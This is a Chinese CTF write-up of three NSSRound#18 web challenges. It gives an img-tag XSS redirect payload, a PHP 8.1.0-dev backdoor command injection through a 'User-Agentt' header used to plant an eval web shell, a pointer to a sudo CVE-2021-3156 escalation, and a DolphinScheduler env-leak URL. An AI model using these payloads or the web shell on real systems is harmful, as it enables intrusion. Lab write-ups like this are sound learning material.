NSSRound#18 Basic
Web(复现)
门酱想玩什么呢?
开启环境。
观看视频跳转后来到页面,需要提交网址。随便试了试,发现只能提交自己来自本网站的链接。
点开评论区发现可以提交一个图片网址,然后提示我们门酱想玩的元梦之星。
思路理顺了,那就是把元梦之星的链接给他,但怎么通过本地给他呢。
找了找,在最开始的视频界面源码处存在提示:nssctfroundSpring.php
访问找到了核心代码。
<?php
highlight_file(__FILE__);
// 部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
仔细分析代码,可以发现在最后部分可以进行 xss。
而且提交的内容需要有链接,且以.png 结尾,且最后要有 /png。因此进行 xss 攻击的 payload 就可以写出
payload:http://x/1.png"><script>alert(1);</script>.png /png
通过闭合前面的标签,中间加入 js 代码进行 xss。
测试:
这样会成功弹窗那么我们构造一个跳转网页的 payload 即可。
http://x/1.png"><script>location.href="https://ymzx.qq.com/"</script>.png /png
抓包获取链接
然后把网站丢给他就行啦
http://node4.anna.nssctf.cn:28561/words/?title=MTEx&content=aHR0cCUzQSUyRiUyRnglMkYxLnBuZyUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWYlM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFLnBuZyUyMCUyRnBuZw%3D%3D
Becomeroot
题目描述:php 的开发仓库好像被入侵过
看到版本是 PHP 8.1.0-dev
网上搜一下可以找到这个版本的后门远程命令执行漏洞
PHP 8.1.0-dev 后门远程命令执行漏洞复现
需要修改请求头,在请求头添加 User-Agentt 标头执行任意代码
测试发现 User-Agentt: zerodiumsystem('echo 1');
正常执行,但是执行 ls
命令就不行了,猜测应该是权限不够,再加上题目名称也暗示了权限不够,所以需要我们进行提权。那么在此之前,我们需要写一个马,方便我们用蚁剑连接进行接下来的操作。
User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1])?>'>/var/www/html/1.php");
然后访问 1.php 发现存在,证明写入成功。
用蚁剑连接可以看到我们是 user 权限
接下来进行提权。
在网上搜到文章Linux sudo 权限提升漏洞复现(CVE-2021-3156)
测试是否存在此漏洞
ok, 那么就可以进行利用。github 上有相应的脚本。但赛后复现的时候,发现存在非交互式的脚本
CVE-2021-3156-plus
easy_rw
题目描述:
弱口令就完事了
入口:/dolphinscheduler
靶机启动需要 1 分钟。
hint1: 弱口令 & CVE-2023-49299 Bypass
hint2:guest 账户密码:guest123
这题是比赛的零解题。需要我们复现CVE-2023-49299
, 水平不够,只能等着之后有人复现了。。。
哎嘿嘿,wp 写完两三天之后,突然想看看网上有没有大佬做出来了这道题想跟着学习一下。
结果还真让我找到了
NSSROUND#18 记录
该题存在Apache DolphinScheduler 敏感信息泄漏(CVE-2023-48796)
利用漏洞找一下环境变量
http://node6.anna.nssctf.cn:28981/dolphinscheduler/actuator/env
然后就找到了???
应该是个非预期解,不过这么多佬都没解出来导致零解也是离谱了。